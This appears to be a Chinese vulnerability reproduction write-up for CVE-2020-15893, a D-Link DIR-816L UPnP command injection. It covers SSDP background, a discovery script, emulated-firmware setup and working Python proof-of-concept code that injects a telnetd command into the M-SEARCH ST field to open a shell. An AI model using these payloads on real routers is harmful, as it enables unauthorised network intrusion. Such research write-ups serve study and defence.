CVE-2020-15893 d-link upnp comma
漏洞介绍
An issue was discovered on D-Link DIR-816L devices 2.x before 1.10b04Beta02. Universal Plug and Play (UPnP) is enabled by default on port 1900. An attacker can perform command injection by injecting a payload into the Search Target (ST) field of the SSDP M-SEARCH discover packet.
影响版本
2.06 & 2.06.B09_BETA及之前版本
CVSS:9.8 CRITICAL
背景知识
Upnp协议栈
UPnP全名是Universal Plug and Play,翻译过来就是即插即用,该协议的设计初衷是希望设备接入某个网络中之后,所有设备都知道新设备的加入,并且设备之间能够相互沟通,或者直接使用控制对方。
该设备基于TCP。UDP和HTTP协议,协议栈如下。
基本概念
- UUID
Universally Unique Identifier,通用唯一识别码。目的是让分布式系统中的所有元素,都有唯一辨识咨询,定义格式为:xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxxxxxx(8-4-4-16)
分别为当前日期和时间,时钟序列,全局唯一的IEEE机器识别号,如果有网卡,从网卡mac地址获得,没有网卡以其他方式获得。 - UDN
单一设备名(Unique Device Name),基于UUID,表示一个设备。在不同的时间,对于同一个设备此值应该是唯一的。 - URN
URL的一种更新形式,统一资源名称(URN,Uniform Resource Name)。唯一标识一个实体的标识符,但是不能给出实体的位置。标识持久性Internet资源。URN可以提供一种机制,用于查找和检索定义特定命名空间的架构文件。尽管普通的URL可以提供类似的功能,但是在这方面,URN 更加强大并且更容易管理,因为 URN 可以引用多个 URL。 - Mx
1到5之间的一个值,表示最大的等待应答的秒数。 - ST
Seatch Targer,表示搜索的节点类型。
重要协议
SSDP协议
SSDP为整个upnp协议栈中的发现协议,当设备接入网络是即会向网络中的某个广播ip发送SSDP数据包,通知其他设备自己的加入,而其他设备收到该广播数据包之后,会以单播的形式来响应这条信息。广播包发送如下:
M-SEARCH * HTTP / 1.1
host:239.255.255.250 :1900
MAN:ssdp:discover
MX:10
ST:ssdp:all
该数据包类似HTTP,又被称为HTTPU协议(即基于UDP的HTTP)
接收到的回复单播数据包如下:
HTTP/1.1 200 OK\r\n
CACHE-CONTROL: max-age=120\r\n
ST: uuid:75802409-bccb-40e7-8e6c-40a5ef100e92\r\n
USN: uuid:75802409-bccb-40e7-8e6c-40a5ef100e92\r\n
EXT:\r\n
SERVER: RT-N56U/3.4.3.9 UPnP/1.1 MiniUPnPd/2.0\r\n
LOCATION: http://192.168.100.1:24795/rootDesc.xml\r\n
OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n
01-NLS: 1652586384\r\n
BOOTID.UPNP.ORG: 1652586384\r\n
CONFIGID.UPNP.ORG: 1337\r\n
\r\n
可以利用python模拟发送HTTPU的广播数据包,获取局域网内的UPnp设备信息。
import socket
import re
ANY = "0.0.0.0"
DES_IP = "239.255.255.250"
PORT = 1900
xml_str = b'M-SEARCH * HTTP/1.0\r\n' \
+ b'HOST: 239.255.255.250:1900\r\n' \
+ b'MAN: "ssdp:discover"\r\n' \
+ b'MX: 3\r\n' \
+ b'ST: ssdp:all\r\n' \
+ b'USER-AGENT: Google Chrome/87.0.4280.88 Windows\r\n\r\n\r\n'
print(xml_str)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((ANY, PORT))
s.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
s.setsockopt(
socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
socket.inet_aton(DES_IP) + socket.inet_aton(ANY)
)
s.setblocking(False)
s.sendto(xml_str, (DES_IP, PORT))
while True:
try:
data, address = s.recvfrom(2048)
except Exception as e:
pass
else:
print(address)
print(data)
print("####################################################################")
此外还可以利用SSDP协议进行反射型DDos攻击,参考链接如下:
https://blog.cloudflare.com/ssdp-100gbps/
漏洞复现
环境搭建
固件下载:http://legacyfiles.us.dlink.com/DIR-816L/REVB/FIRMWARE/
01.png使用fap模拟固件,成功运行后访问192.168.0.1
看到路由器后台页面
Github:https://github.com/liyansong2018/firmware-analysis-plus
2.png# python3
from socket import *
from os import *
from time import *
payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'HOST:localhost:1900\r\n'
payload += b'ST:urn:device:;telnetd -p 8888\r\n\r\n'
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(payload, ("192.168.10.1", 1900))
s.close()
sleep(1)
system("telnet 192.168.10.1 8888")
首先搜索ssdp
相关文件,找到./htdocs/upnp/ssdpcgi
,继续查看该文件发现是软链接
分析文件/htdocs/cgibin
,漏洞点在ssdpcgi_main
中,用户可控的参数为ST
。
函数lxmldbc_system
将传入的参数进行拼接,然后执行
此处有三种参数组合都可以执行POC,并不限于参考poc中给出的那一种
from socket import *
from os import *
from time import *
payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'HOST:localhost:1900\r\n'
#payload += b'ST:urn:device:;telnetd -p 8888\r\n\r\n'
#payload += b'ST:urn:service:;telnetd -p 8899\r\n\r\n'
payload += b'ST:uuid:;telnetd -p 8899\r\n\r\n'
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(payload, ("192.168.0.1", 1900))
s.close()
sleep(1)
system("telnet 192.168.0.1 8899")
执行poc后我们即可通过telnet连入路由器中。
6.png